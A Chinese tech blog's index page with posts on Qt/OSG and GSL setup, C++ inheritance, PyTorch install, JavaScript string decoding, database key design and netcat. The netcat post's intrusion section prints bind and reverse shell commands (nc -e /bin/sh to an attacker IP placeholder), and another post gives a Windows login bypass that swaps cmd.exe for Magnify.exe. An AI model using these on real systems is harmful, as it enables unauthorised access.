Jack Huang's Blog


  • 首页

  • 标签

  • 归档

  • 搜索

Windows下QT与OSG开发环境配置

发表于 2019-10-10 | 更新于 2022-10-25

最近想尝试使用QT开发图形用户界面,OSG负责三维展示的解决方案,于是研究了一下Windows下OSG的编译安装配置,以及在QT中集成OSG的配置过程。过程记录如下:

QT+OSG开发环境配置

QT+OSG开发环境配置将使用QT Creator集成环境进行图形用户界面开发,使用Desktop Qt 5.9.8 MSVC2017 64构建套件编译链接调试C++程序。

Visual Studio Community 2017 下载安装

下载安装Visual Studio Community 2017的“使用C++的桌面开发”工作负载。这将为QT提供MSVC2017 64bit编译套件。

CDB 调试器下载安装

没有安装CDB调试器,QT的Desktop Qt 5.9.8 MSVC2017 64构建套件前会出现感叹号,并且使用该构建套件调试时会报“Unable to create a debugging engine”错误。CDB调试器下载安装方法参考QT - OSG 开发环境配置

QT 5.9.8 下载安装

QT 5.9.8是 LTS 版本,其下载安装请参考Qt5配置开源GSL数学库。需要注意的是,QT 5.9.8安装过程,选择MSVC2017 64bit编译组件,如图1所示。

QT 5.9.8安装选择MSVC2017 64bit编译组件

图1 QT 5.9.8安装选择MSVC2017 64bit编译组件

cmake下载安装

到 cmake 官网下载安装 cmake,用于osg的编译安装。

下载编译安装OSG

下载OSG及相关软件

Windows平台编译安装OSG需下载从OSG官网以下资料:

  • OpenSceneGraph 3.6.4源代码
  • OpenSceneGraph-Data-3.4.0,因为找不到3.6.4版本的数据
  • 3rdParty_VS2017_v141_x64_V11_full

配置OSG

打开cmake,选择osg源代码路径和osg源代码构建的路径,再点击“configure”按钮,选择Visual Studio 15 2017 Win64编译套件,配置osg如图2所示。

cmake编译osg配置

图2 cmake编译osg配置

需要配置的地方主要有:

  • ACTUAL_3rdparty_DIR:配置第三方库的目录
  • Build_OSG_EXAMPLES:选中即编译安装OSG的示例。
  • CMAKE_INSTALL_PREFIX:设置OSG的安装目录,通常放到C盘以外的地方,防止因权限问题安装失败。

配置完成后,再持续点击“configure”按钮,知道红色警告消失。然后点击“Generate”按钮生成vs2017工程。

编译OSG

在cmake中点击“Open Project”按钮,即使用 VS2017 打开 build 文件夹下的工程,点击:生成 -> 批生成 -> 生成 Debug 和 Release 版本的 All_BUILD 即可。

安装OSG

右击解决方案的 Install 项目,点击生成,然后 Debug 平台的库文件就开始安装了,同理选择 Release 平台再重复安装。之后就可以在安装路径中看到编译的库文件了,安装路径由变量CMAKE_INSTALL_PREFIX的配置决定。

配置环境变量

OSG官方文档 Windows Compiling with Visual Studio指出,OSG安装完成后需要配置如下环境变量:

1
2
3
4
5
6
7
8
OSG_ROOT points to the base of the OSG file structure (the directory that contains include, src etc. subdirectories)
OSG_BIN_PATH = %OSG_ROOT%\bin
OSG_INCLUDE_PATH = %OSG_ROOT%\include
OSG_LIB_PATH = %OSG_ROOT%\lib
OSG_SAMPLES_PATH = %OSG_ROOT%\share\OpenSceneGraph\bin
OSG_FILE_PATH = ???\OpenSceneGraph-Data-X.X
OPENSCENEGRAPH_VERSION = 3.6.4
PATH 添加:%OSG_ROOT%\bin;%OSG_ROOT%\bin\osgPlugins-%OPENSCENEGRAPH_VERSION%; 这两个是配置 bin 和插件的路径。

OSG测试

命令行测试

打开 cmd 命令行,输入osgversion,输出当前 osg 版本说明环境变量配置成功了,再来看看能不能导入模型文件,接着键入:

1
osgviewer cow.osg

这里可能会提示系统缺少 zlibd.dll,解决方法很简单:

  • 拷贝第三方库的 dll 目录下的 zlib.dll 和 zlibd.dll 到 OSG 安装目录的 bin 目录中。
  • 拷贝第三方库的 lib 目录下的 zlib.dll 和 zlibd.dll 到 OSG 安装目录的 lib 目录中。

这时重新键入上面的命令,就可以看到一头经典的 3D 牛了,说明 OSG 安装成功了。

QT 配置 OSG 库路径

新建一个 QT 的控制台项目,编辑 .pro 文件,加入 OSG 库的路径:

1
2
3
4
5
6
win32:CONFIG(release, debug|release): LIBS += -L$$PWD/../../../OpenSceneGraph/lib/ -lOpenThreads -losg -losgDB -losgUtil -losgGA  -losgViewer -losgText
else:win32:CONFIG(debug, debug|release): LIBS += -L$$PWD/../../../OpenSceneGraph/lib/ -lOpenThreadsd -losgd -losgDBd -losgUtild -losgGAd -losgViewerd -losgTextd
else:unix: LIBS += -L$$PWD/../../../OpenSceneGraph/lib/ -lOpenThreads -losg -losgDB -losgUtil -losgGA -losgViewer -losgText

INCLUDEPATH += $$PWD/../../../OpenSceneGraph/include
DEPENDPATH += $$PWD/../../../OpenSceneGraph/lib

main.cpp 如下:

1
2
3
4
5
6
7
8
9
#include <osgViewer/Viewer>
#include <osgDB/ReadFile>

int main(int argc, char *argv[])
{
osgViewer::Viewer viewer;
viewer.setSceneData(osgDB::readNodeFile("cow.osg"));
return viewer.run();
}

运行,出来一头 3D 牛,即配置成功。

参考链接

  1. QT - OSG 开发环境配置,by 程序小哥.
  2. Qt5配置开源GSL数学库,by jackhuang.
  3. Ubuntu16.04编译安装OSG,by jackhuang.
  4. Windows Compiling with Visual Studio,by OpenSceneGraph.
  5. Visual_Studio_Community_2017离线安装,by jackhuang.
  6. Qt-Creator常见问题,by XenonSec.
  7. Visual Studio: MSB3073 error exited with code 1,by stackoverflow.
  8. Qt5.7 + VS2015 环境搭建,by 一去丶二三里.
  9. OSG学习:WIN10系统下OSG+VS2017编译及运行,by 路人甲JIA.
  10. error LNK2019: 无法解析的外部符号 “__declspec(dllimport) public,by OSG_weiguoying.
  11. 应用篇之dll lib pdb和头文件,by 阿兵-AI医疗.
  12. GL.h文件提示报错,by Parkergh.
  13. #undef 的用法及其意义,by DinnerHowe.

Windows忘记密码无法登录的解决方案

发表于 2019-10-09 | 更新于 2019-10-10

突然需要在一台很久不用的Win7计算机上差一点资料,可忘记了登录密码,只能重置密码。过程记录如下:

解决思路

借助手头的一张linux live cd,从光盘启动,进入linux系统,然后找到windows系统盘分区,在C:\Windows\System32下,将cmd.exe重命名为Magnify.exe,然后系统重启,登录Windows操作系统,在登录界面中,调用辅助工具放大镜,即打开命令提示符,输入如下命令重置Windows账户密码:

1
2
3
4
5
6
// 查看Windows账户
net user
// 修改Windows账户密码
net user Administrator 123456
// 重启系统用Administrator账户登录
shutdown -r -t 00

或者采用如下命令新建登录账户:

1
2
3
4
5
6
// 创建用户
net user test 123456 /add
// 用户提权,加入管理员组
net localgroup Administrators test /add
// 使用完删除用户
net user test /delete

参考链接

  1. 关闭windows默认共享,by Blue_sky90.

Qt5配置开源GSL数学库

发表于 2019-10-07 | 更新于 2021-04-28

GNU科学库(英语:GSL - GNU Scientific Library),是一套为 C语言和 C++开发者提供的数值计算函数库,多用于应用数学和科学。软件属于自由软件,在 GNU 通用公共许可证下发布。

这套数值计算函数库提供了大量的数学运算功能,比如随机数生成器,特殊函数以及最小二乘拟合。有超过1000个函数包含在该数值计算库和扩展的测试包中。

下面介绍在Qt5环境中搭载GSL库的方法和步骤。

下载并安装Qt5

下载Qt5请参考Qt下载(多种下载通道+所有版本)。将下载并安装Qt5.9.8 LTS。

安装Qt5请参考图解Qt安装(Windows平台)。

环境配置

MinGW环境配置

MinGW(Minimalist GNU for Windows),又称mingw32,是将GCC编译器和GNU Binutils移植到Win32平台下的产物,包括一系列头文件(Win32API)、库和可执行文件。

另有可用于产生32位及64位Windows可执行文件的MinGW-w64项目,是从原本MinGW产生的分支。如今已经独立发展。

MinGW是从Cygwin(1.3.3版)基础上发展而来。Qt5.9.8使用MinGW 5.3编译器编译程序。

将mingw的bin目录添加进系统的环境变量,告诉系统已经安装了mingw编译器,并且可以被使用。Qt5自带的mingw的安装路径为C:\Qt\Qt5.9.8\5.9.8\mingw53_32,这里我们需要将C:\Qt\Qt5.9.8\5.9.8\mingw53_32\bin目录添加进入系统环境变量。

系统环境变量的设置方法为:【计算机】->【属性】->【高级系统设置】->【环境变量】->【系统变量】->【Path】。

MSYS环境配置

MSYS是bash,make,gawk和grep等GNU实用程序的集合,以允许构建依赖于传统UNIX工具的应用程序和程序。 它旨在补充MinGW和cmd shell的缺陷。

一个示例是构建一个使用自动工具构建系统的库。 用户通常会先运行“ ./configure”,然后运行“ make”来构建它。 配置外壳程序脚本需要Windows系统上不存在的外壳程序脚本解释器,但由MSYS提供。

一个常见的误解是MSYS是“ Windows上的UNIX”,MSYS本身不包含编译器或C库,因此不能将UNIX程序神奇地移植到Windows上,也不能提供任何特定于UNIX的功能,例如case- 敏感文件名。 寻找此类功能的用户应改用Cygwin或Microsoft的Interix。

msys的下载网址为:

msys+7za+wget+svn+git+mercurial+cvs-rev13.7z

上述网址给出的是一个压缩包,直接解压就可以使用。

将msys+7za+wget+svn+git+mercurial+cvs-rev13.7z解压到C:\Qt\Qt5.9.8\5.9.8\mingw53_32。

仅将msys解压后并不能直接使用,因为对于msys而言,它还不知道mingw编译器所处位置,因此需要对msys的环境进行配置。首先需要在msys的路径下创建一个名为mingw的空文件夹,路径为C:\Qt\Qt5.9.8\5.9.8\mingw53_32\msys\mingw。然后修改
C:\Qt\Qt5.9.8\5.9.8\mingw53_32\msys\etc\fstab中的内容,如下所示。

1
C:/Qt/Qt5.9.8/Tools/mingw530_32 /mingw

通过上述环境配置,当启动msys时,将Qt5的mingw编译直接挂载到/mingw目录下。

双击msys文件夹下msys.bat即可运行msys,使用cd命令进入/mingw目录下,我们就会发现此目录下文件就是C:\Qt\Qt5.9.8\Tools\mingw530_32对应的文件。

跳转到gsl-2.6文件夹,即可开始编译链接gsl。

下载并编译安装GSL

从此处 http://ftpmirror.gnu.org/gsl/ 下载最新的GSL-2.6。然后采用如下步骤编译GSL:

  1. 运行msys,进入GSL源文件所在目录
  2. ./configure
  3. make -j8
  4. make install

Qt调用GSL库

创建Qt工程

为了测试GSL数学库能够在Qt环境中运行,新建一个控制台工程进行测试。

新建控制台应用程序的步骤为:【Welcome】->【New Project】->【Application】->【Qt Console Application】->【Choose】->【将工程命名为GslTest】。

引用GSL库

在GslTest项目的工程目录内,新建名为gsl的文件夹。该文件夹的内容如图1所示。

gsl文件夹结构

图1 gsl文件夹结构

gsl文件夹下lib、include、bin中内容为编译安装GSL过程中生成的头文件、库文件及生成的相关exe文件,主要从C:\Qt\Qt5.9.8\5.9.8\mingw53_32\msys路径下提取。

此外,在gsl目录下新建gsl.pro文件,其内容如下:

1
2
3
4
5
# 宏定义项,指明采用GSL,因为有些函数需要使用dll
DEFINES += GSL_DLL
INCLUDEPATH += $$PWD\include
LIBS += -L$$PWD\lib -llibgsl
LIBS += -L$$PWD\lib -llibgslcblas

然后在GslTest的项目文件GslTest.pro末尾引用gsl.pro文件,如下所示。

1
include($$PWD/gsl/gsl.pro)

修改GslTest的main.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <QCoreApplication>
#include <gsl/gsl_sf_bessel.h>
#include <math.h>
#include <iostream>

int main(int argc, char *argv[])
{
QCoreApplication a(argc, argv);
double x=10.0;
double y=gsl_sf_bessel_J0(x);
std::cout<<"J0("<<x<<")="<<y<<std::endl;

return a.exec();
}

运行GslTest

GslTest运行结果

图2 GslTest运行结果

参考链接

  1. Qt下载(多种下载通道+所有版本),by C语言中文网.
  2. 图解Qt安装(Windows平台),by C语言中文网.
  3. GSL - GNU Scientific Library,by gnu.
  4. QT5环境下配置GSL数学库,by 木小猿.
  5. GNU科学库,by wikipedia.
  6. 【ICPC-455】C++ 常用数学函数库,by 陈国林.
  7. MinGW,by wikipedia.
  8. MinGW和MSYS区别和关系以及MinGW&MSYS在Win7中安装并编译x264,by FreeApe.
  9. 最强数学库GSL(GNU Scientific Library) Qt环境下部署,by 尘中远.
  10. Qt5.9.6使用MSVC(VS2017)开发环境搭建,by KirkSong.
  11. QT - OSG 开发环境配置,by 程序小哥.
  12. GSL with CMake build support,by ampl.
  13. 在Visual Studio中使用GNU Scientific Library (GSL),by NULL_BOT.

C++多继承的优缺点

发表于 2019-10-05 | 更新于 2022-12-02

C++中子类可继承多个父类。多继承对父类的个数没有限制,继承方式可以是公共继承、保护继承和私有继承,不写继承方式,默认是private继承。C++多继承语法非常灵活,使用得当可极大提高编程效率,但同时不能其潜在的缺点:

  • 如果一个类继承多个父类,如果父类中的方法名如果相同,那么就会产生歧义。
  • 如果父类中的方法同名,子类中没有覆盖,同样会产生上面的错误。

针对上述缺点,C#和Java中都不支持类多继承,而是使用类单继承和接口多继承设计替代类多继承。

继承类型

当一个类派生自基类,该基类可以被继承为 public、protected 或 private 几种类型。继承类型是通过上面讲解的访问修饰符 access-specifier 来指定的。

我们几乎不使用 protected 或 private 继承,通常使用 public 继承。当使用不同类型的继承时,遵循以下几个规则:

  • 公有继承(public):当一个类派生自公有基类时,基类的公有成员也是派生类的公有成员,基类的保护成员也是派生类的保护成员,基类的私有成员不能直接被派生类访问,但是可以通过调用基类的公有和保护成员来访问。
  • 保护继承(protected): 当一个类派生自保护基类时,基类的公有和保护成员将成为派生类的保护成员。
  • 私有继承(private):当一个类派生自私有基类时,基类的公有和保护成员将成为派生类的私有成员。

参考链接

  1. 论C#之多继承,by Leo.
  2. 接口和抽象类有什么区别?,by zhihu.
  3. java类单继承,接口多继承设计的原因,by xiaoxiang-chen.
  4. C++学习之继承篇(多继承与多重继承),by hudfang.
  5. C++ 继承访问权限控制(public,protected,private),by c++入门与提高.
  6. c++ 类受保护成员的访问,by hudie66fei.

GUI开发方案总结

发表于 2019-10-03 | 更新于 2019-10-04

最近调研GUI开发技术,对相关资料总结一下。

Windows 下的 GUI 库

Windows 下的 GUI 解决方案比较多:

  • 基于 C++ 的有 Qt、MFC、WTL、wxWidgets、DirectUI、Htmlayout;
  • 基于 C# 的有 WinForm、WPF;
  • 基于 Java 的有 AWT、Swing;
  • 基于 Pascal 的 有Delphi;
  • 基于Go语言的有 walk 和 electron;
  • 还有国内初露头角的 aardio;
  • Visual Basic 曾经很流行,现在逐渐失去了色彩;
  • 如果你有 Web 开发经验,也可以基于 Webkit 或 Chromium 将网页转换为桌面程序。

没有哪一种方案能够独霸 Windows,使用比较多的编程语言是 C++、C#、Java。

Linux 下的 GUI 库

Linux 下常用的 GUI 库有基于 C++ 的 Qt、GTK+、wxWidgets,以及基于 Java 的 AWT 和 Swing。其中最著名的就是 Qt 和 GTK+:KDE 桌面系统已经将 Qt 作为默认的 GUI 库,Gnome 桌面系统也将 GTK+ 作为默认的 GUI 库。

参考链接

  1. Qt和其它GUI库的对比,by C语言中文网.
  2. Qt,by wikipedia.
  3. Qt下载(多种下载通道+所有版本),by C语言中文网.
  4. Qt镜像站下载,by 中科大镜像站.

VS2017打包Windows桌面程序

发表于 2019-09-26 | 更新于 2022-07-30

Microsoft Visual Studio 2017 Installer Projects是一个易于发布 VS 项目的官方插件,下面简要介绍该插件的使用。

安装插件

VS 工具栏 > 工具 > 扩展和更新 > 联机 > 搜索 Microsoft Visual Studio 2017 Installer Projects 并安装。安装完成后需要重启 VS。

添加 Setup Project

打开VS2017,新建Setup Project。

配置安装项目

设置Setup Project

选中添加的Setup Project,配置其属性。比较重要的属性有:

key val
Author 一般填公司名,会使用其作为软件安装目录名
Localization 指定软件运行地语种,如果你的软件是多语言的话
TargetPlatform 指定软件目标平台 x86 or x64
Version 发布版本号

桌面快捷方式

开始菜单快捷方式

设置快捷方式Icon

生成安装文件.msi

参考链接

  1. Microsoft Visual Studio 2017 Installer Projects,by SkyRiN.
  2. Vistual Studio Community 2017 30天许可证过期,by 井底一蛤蟆.

Windows下安装Pytorch过程记录

发表于 2019-09-24

PyTorch是一个开源的Python机器学习库,基于Torch,底层由C++实现,应用于人工智能领域,如自然语言处理。它最初由Facebook的人工智能研究团队开发,并且被用于Uber的概率编程软件Pyro。

PyTorch主要有两大特征:

  • 类似于NumPy的张量计算,可使用GPU加速;
  • 基于带自动微分系统的深度神经网络;

下面记录在Windows操作系统下安装PyTorch的方法。

安装Anaconda

到Anaconda Distribution下载合适的Anaconda。

查看cuda版本

参考Windows系统查看CUDA版本号。例如本机cuda版本为9.2。

安装pytorch

进入pytorch官网的GET STARTED,根据自身计算机环境,选择PyTorch Build、Your OS、Package、Language和CUDA,即得到安装pytorch的命令:

1
2
3
4
// 基于Anaconda
conda install pytorch torchvision cudatoolkit=9.2 -c pytorch -c defaults -c numba/label/dev
// 基于Python3.6
pip3 install torch==1.2.0+cu92 torchvision==0.4.0+cu92 -f https://download.pytorch.org/whl/torch_stable.html

pip安装whl包

torch1.2的包很大,直接用pip安装下载很慢,可以先用下载工具将torch1.2的whl下载下来,再直接安装。

1
pip3 install torch-1.2.0+cu92-cp36-cp36m-win_amd64.whl

验证

打开命令提示符,输入:

1
python

输入如下代码,查看输出:

1
2
3
4
from __future__ import print_function
import torch
x = torch.rand(5, 3)
print(x)

输出类似如下结果:

1
2
3
4
5
tensor([[0.3380, 0.3845, 0.3217],
[0.8337, 0.9050, 0.2650],
[0.2979, 0.7141, 0.9069],
[0.1449, 0.1132, 0.1375],
[0.4675, 0.3947, 0.1426]])

输入如下代码,验证GPU驱动和CUDA是安装正确,能够被PyTorch访问:

1
2
import torch
torch.cuda.is_available()

参考链接

  1. CUDA,by wikipedia.
  2. Windows 下安装Pytorch,by Big_quant.
  3. Windows系统查看CUDA版本号,by 潇洒坤.
  4. PyTorch,by wikipedia.
  5. GET STARTED,by pytorch.
  6. Getting Started with Python in VS Code,by visualstudio.

JS如何从ArrayBuffer中解码字符串

发表于 2019-09-24

最近遇到一个问题,拿到一个ArrayBuffer,知道它是以gb2312编码的文档,那么如何使用javascript从中解码出字符串。下面介绍常用的解决方案。

基础知识

字符编码

字符编码(英语:Character encoding)、字集码是把字符集中的字符编码为指定集合中某一对象(例如:比特模式、自然数序列、8位组或者电脉冲),以便文本在计算机中存储和通过通信网络的传递。常见的例子包括将拉丁字母表编码成摩斯电码和ASCII。其中,ASCII将字母、数字和其它符号编号,并用7比特的二进制来表示这个整数。通常会额外使用一个扩充的比特,以便于以1个字节的方式存储。

因此,如果不知道字符存储的编码方案,那么只能得到一堆无意义的数字,无法从中解码出正确的字符信息。

ArrayBuffer

ArrayBuffer对象、TypedArray对象、DataView对象是JavaScript操作二进制数据的一个接口。这些对象早就存在,属于独立的规格,ES6将它们纳入了ECMAScript规格,并且增加了新的方法。

这些对象原始的设计目的,与WebGL项目有关。所谓WebGL,就是指浏览器与显卡之间的通信接口,为了满足JavaScript与显卡之间大量的、实时的数据交换,它们之间的数据通信必须是二进制的,而不能是传统的文本格式。文本格式传递一个32位整数,两端的JavaScript脚本与显卡都要进行格式转化,将非常耗时。这时要是存在一种机制,可以像C语言那样,直接操作字节,将4个字节的32位整数,以二进制形式原封不动地送入显卡,脚本的性能就会大幅提升。

二进制数组就是在这种背景下诞生的。它很像C语言的数组,允许开发者以数组下标的形式,直接操作内存,大大增强了JavaScript处理二进制数据的能力,使得开发者有可能通过JavaScript与操作系统的原生接口进行二进制通信。

二进制数组由三个对象组成。

  • ArrayBuffer对象:代表内存之中的一段二进制数据,可以通过“视图”进行操作。“视图”部署了数组接口,这意味着,可以用数组的方法操作内存。

  • TypedArray对象:用来生成内存的视图,通过9个构造函数,可以生成9种数据格式的视图,比如Uint8Array(无符号8位整数)数组视图, Int16Array(16位整数)数组视图, Float32Array(32位浮点数)数组视图等等。

  • DataView对象:用来生成内存的视图,可以自定义格式和字节序,比如第一个字节是Uint8(无符号8位整数)、第二个字节是Int16(16位整数)、第三个字节是Float32(32位浮点数)等等。

简单说,ArrayBuffer对象代表原始的二进制数据,TypedArray对象代表确定类型的二进制数据,DataView对象代表不确定类型的二进制数据。它们支持的数据类型一共有9种(DataView对象支持除Uint8C以外的其他8种)。

解决方案

UTF-16的编码解码

下面的解决方案只能解码UTF-16编码的字符串,而且当ArrayBuffer的长度过大时,会报“ Maximum call stack size exceeded”的错误。

1
2
3
4
5
6
7
8
9
10
11
12
function ab2str(buf) {
return String.fromCharCode.apply(null, new Uint16Array(buf));
}

function str2ab(str) {
var buf = new ArrayBuffer(str.length*2); // 2 bytes for each char
var bufView = new Uint16Array(buf);
for (var i=0, strLen=str.length; i < strLen; i++) {
bufView[i] = str.charCodeAt(i);
}
return buf;
}

gb2312解码

下面的解决方案能解码指定编码的字符串,包括utf-8,utf-16, iso-8859-2, koi8, cp1261, and gbk等。

1
2
3
4
5
function ab2str(arrayBuf, encodeType) {
var decoder = new TextDecoder(encodeType)
var u8arr = new Uint8Array(arrayBuf)
return decoder.decode(u8arr)
}

参考链接

  1. How to convert ArrayBuffer to and from String,by Renato Mangini.
  2. 字符编码,by wikipedia.
  3. Converting arraybuffer to string : Maximum call stack size exceeded,by stackoverflow.
  4. “RangeError: Maximum call stack size exceeded” Why?,by stackoverflow.
  5. TextDecoder,by mozilla.
  6. String.fromCharCode(),by mozilla.
  7. 二进制数组,by 阮一峰.
  8. ArrayBuffer,by 阮一峰.

netcat使用方法简介

发表于 2019-09-22

netcat(通常缩写为nc)是一种计算机联网实用程序,用于使用TCP或UDP读写网络连接。 该命令被设计为可靠的后端,可以直接使用或由其他程序和脚本轻松驱动。 同时,它是功能丰富的网络调试和调查工具,因为它可以产生用户可能需要的几乎任何类型的连接,并具有许多内置功能。netcat被称为网络工具中的瑞士军刀,体积小巧,但功能强大。

使用帮助

选项 是否有“选项值” 说明
h NO 输出 nc 的帮助
v NO 在网络通讯时,显示详细的输出信息。注:建议新手多用该选项,出错时帮你诊断问题
n NO 对命令行中的“主机”,【不】进行域名解析。注:如果“主机”是“点分格式”的 IP 地址,需要用该选项;如果“主机”是“域名”形式,【不能】用该选项
p YES 指定“端口号”
l NO 开启“监听模式”,nc 作为【服务端】。注:如不加该选项,nc 默认作为客户端
u NO 使用 UDP 协议。注:如不加该选项,默认是 TCP 协议
w YES 设置连接的超时间隔(N 秒)
q YES 让 nc 延时(N 秒)再退出
z NO 开启“zero-I/O 模式”。注:该选项仅用于“端口扫描”,后面会聊到
k NO 配合 -l 选项使用,可以重复接受客户端连接。注:“原版 nc”的该选项用来开启“TCP keepalive”。这是“原版 nc”与“OpenBSD 变种”之间的差异之一
X YES 指定代理的类型(具体用法,后面会聊到)。注:“原版 nc”【没有】该选项。这是“原版 nc”与“OpenBSD 变种”之间的差异之一
x YES 以 IP:port 的格式指定代理的位置。注:“原版 nc”【没有】该选项。这是“原版 nc”与“OpenBSD 变种”之间的差异之一
e YES 启动某个进程,把该进程的“标准输入输出”与网络通讯【对接】。注:通常用该选项开启一个网络后门。“OpenBSD 变种”基于安全考虑,已去掉该选项,但还是能用间接的方式达到同样的效果。

典型示例

网络诊断

测试某个远程主机的【监听】端口是否可达

用如下命令可以测试某个 IP 地址(x.x.x.x)上的某个监听端口(xx)是否开启。

1
2
nc -nv x.x.x.x xx
nc -nv -w 3 x.x.x.x xx

上述命令用到了如下几个选项:

  • 选项 -v

如果你是 nc 的新手,建议总是带上这个选项——通过更详细的输出,能帮你搞明白状况。

  • 选项 -n

由于测试的是【IP 地址】,用该选项告诉 nc,【无须】进行域名(DNS)解析;反之,如果你要测试的主机是基于【域名】,就【不能】用“选项 -n”。

  • 选项 -w

在测试链接的时候,如果你【没】使用 -w 这个超时选项,默认情况下 nc 会等待很久,然后才告诉你连接失败。

如果你所处的网络环境稳定且高速(比如:局域网内),那么,你可以追加“-w 选项”,设置一个比较小的超时值。

判断防火墙是否“允许 or 禁止”某个端口

在“主机S”上运行 nc,让它在 8080 端口,命令如下:

1
nc -lv -p 8080

然后在“主机C”上运行 nc,测试“主机S”上的 8080 端口是否可达。

1
nc -nv x.x.x.x xx
  • 选项 -l

这个选项会让 nc 进入监听模式。

  • 选项 -p

这个选项有“选项值”,也就是具体端口号。

  • 选项 -k

在默认情况下,nc 开启 listen 模式充当服务端,在接受【第一次】客户端连接之后,就会把监听端口关闭。

如果你想要让 nc 始终监听模式,使之能【重复】接受客户端发起的连接,可以追加 -k 选项。

  • 选项 -u

如果你要测试 UDP 协议,要记得【两边】的 nc 都要追加 -u 选项。

渗透测试

用 nc 进行“端口扫描”

下面这个命令,用来扫描 IP 地址为 x.x.x.x 的主机,扫描的端口范围从 1 到 1024。

1
2
nc -znv x.x.x.x 1-1024
nc -znv x.x.x.x 1-1024 2>&1 | grep succeeded
  • 选项 -z

意思是:开启“zero-I/O 模式”。该模式指的是:nc 只判断某个监听端口是否能连上,连上后【不】与对端进行数据通讯。

  • 选项 -n

  • 选项 -v

由于“-v 选项”产生的输出位于【stderr】,上述命令中的 2>&1 用来把【stderr】合并到【stdout】(注:这种写法只适用于 POSIX 系统上的 shell)。

grep 命令用来进行【过滤】。对于 Windows 系统,默认【没有】grep 命令,需改用 find 命令过滤。

网络配置

基于 nc 的端口转发(Port Forward)

用 nc 进行端口转发,需要运行【两个】nc 进程,一个充当“服务端”,另一个是“客户端”,然后用【管道】让把两个进程的“标准输入输出”交叉配对。所谓的“交叉配对”就是——每一个 nc 进程的“标准输出”都【对接】到另一个 nc 进程的“标准输入”。如此一来,就可以完美地建立【双向通讯】。

运行下面命令之后,就可以把本机的 1235 端口重定向到本机的 5678 端口。

1
2
mkfifo nc_pipe
nc -l -p 1234 < nc_pipe | nc 127.0.0.1 5678 > nc_pipe

系统管理

用 nc 传输文件

假设你有两台主机 A 与 B,你要把 A 主机上的文件 file1 传输到 B 主机上,保存为 file2

你先在【接收端】(B 主机)运行如下命令(其中的 xxx 是端口号)

1
nc -l -p xxx > file2

然后在【发送端】(A 主机)运行如下命令。

1
nc x.x.x.x xxx < file1

第二条命令中的 xxx 是端口号,要与第一条命令中的端口号相同;第二条命令中的 x.x.x.x 是【主机 B】的 IP 地址。

用 nc 传输文件,相当于是:直接在【裸 TCP】层面传输。你可以通俗理解为:【没有】应用层。如果你传输的文件【超级大】或者文件数量【超级多】,用 nc 传输文件的性能优势会很明显(相比“FTP、SSH、共享目录…”而言)

用 nc 远程备份整个磁盘

你先在【接收端】(B 主机)运行如下命令(其中的 xxx 是端口号)

1
nc -l -p xxx | dd of=/dev/sdb

然后在【发送端】(A 主机)运行如下命令。

1
dd if=/dev/sda | nc x.x.x.x xxx

网络入侵

用 nc 开启【被动】连接型后门

  • 在受害者机器上开启后门
1
2
nc.exe -l -p xxx -e cmd.exe
nc -l -p xxx -e /bin/sh

后门创建好之后,攻击者在自己机器上也运行 nc(客户端 nc),然后连接到作为后门的 nc(服务端 nc)。一旦连上之后,攻击者就可以在自己的 nc 上看到对方(受害者机器)的 shell 提示符。

  • 防范措施

NAT 模式的虚拟机(Guest OS)

NAT 的好处在于【单向可见】。也就是说,Guest OS 可以访问到物理系统(Host OS)【外部】的网络环境;但外部网络环境只能看到 Host OS,看不到 Guest OS。

在这种配置下,就算某个入侵者完全控制了你的 Guest OS,他/她也【没】办法在 Guest OS 中搭建“被动连接型后门”。换句话说,即使入侵者运行了这种后门,(但由于 NAT 的缘故)后门【无法】接受外部网络的连接,这个后门就【失去意义】。

用 nc 开启【主动】连接型后门

  • 攻击者在自己机器上运行“服务端 nc”
1
2
3
nc -lk -p xxx
nc.exe -e cmd.exe x.x.x.x xxx
nc -e /bin/sh x.x.x.x xxx

(在上述两个命令中, xxx 是步骤1用到的端口号,x.x.x.x 是攻击者的 IP 地址)

  • 防范措施

【隔离模式】的虚拟机

  • 【主动】连接型后门的优势之处

简单对比一下“后门的两种连接方式”。

可用性

如果用“被动型后门”入侵桌面 PC,考虑到绝大部分桌面 PC 都处于内网(其网卡【并未】分配公网 IP)。对这种场景,攻击者需要与受害者在同一个局域网,才能与后门建立通讯。相比之下,“主动型后门”就【没有】这种弊端。

隐蔽性

“被动型后门”需要显式开启监听端口,很容易引起用户的怀疑,或引起杀毒软件的注意。相比之下,“主动型后门”就【没有】这个问题。

参考链接

  1. netcat,by wikipedia.
  2. NetCat使用指南,by Evilwing.

数据库表主键设计方法

发表于 2019-09-20

数据库表主键使用自增整型字段还是使用GUID字段,这是一个问题。下面详细分析它们的优劣。

基础知识

数据库设计范式

  • 第一范式(1NF):强调的是列的原子性,即列不能够再分成其他几列。简而言之,第一范式就是无重复的列

  • 第二范式(2NF):首先要满足它是1NF,另外还需要包含两部分内容:一是表必须有一个主键;二是没有包含在主键中的列必须完全依赖于主键,而不能只依赖于主键的一部分。简而言之,第二范式就是非主属性非部分依赖于主关键字

  • 第三范式(3NF):首先是 2NF,另外非主键列必须直接依赖于主键,不能存在传递依赖。即不能存在:非主键列 A 依赖于非主键列 B,非主键列 B 依赖于主键的情况。简而言之,第三范式(3NF)要求一个数据库表中不包含已在其它表中已包含的非主关键字信息。

反范式主键的设计原则

  • 主键应当是对用户没有意义的。业务上的‘主键’可以通过唯一键(Unique Key)或唯一索引(Unique Index)和其它约束条件实现
  • 主键应该是单列的,以便提高连接和筛选操作的效率
  • 不要更新主键。实际上,因为主键除了惟一地标识一行之外再没有其他的用途了,所以也就没有理由去对它更新。
  • 主键不应包含动态变化的数据,如时间戳、创建时间列、修改时间列等
  • 主键应当由计算机自动生成。

数据库表主键设计方法

数据库表主键设计主要有自增整型字段和使用GUID字段两种方法。

自增整型字段作为主键

最常用的主键设计方法。例如《阿里 Java 开发手册》中规定有以下 MySQL 建表规约:

表必备三字段:id, gmt_create, gmt_modified。 说明:其中id必为主键,类型为unsigned bigint、单表时自增、步长为1。gmt_create, gmt_modified的类型均为date_time类型。

该方法优点是:数据库自动编号,速度快,而且是增量增长,聚集型主键按顺序存放,对于检索非常有利;数字型的,占用空间小,易排序,在程序中传递也方便;如果通过非系统增加记录(比如手动录入,或是用其他工具直接在表里插入新记录,或老系统数据导入)时,非常方便,不用担心主键重复问题。

该方法缺点是:因为自动增长,在手动要插入指定ID的记录时会显得麻烦,尤其是当系统与其他系统集成时,需要数据导入时,很难保证原系统的ID不发生主键冲突。

GUID字符串作为主键

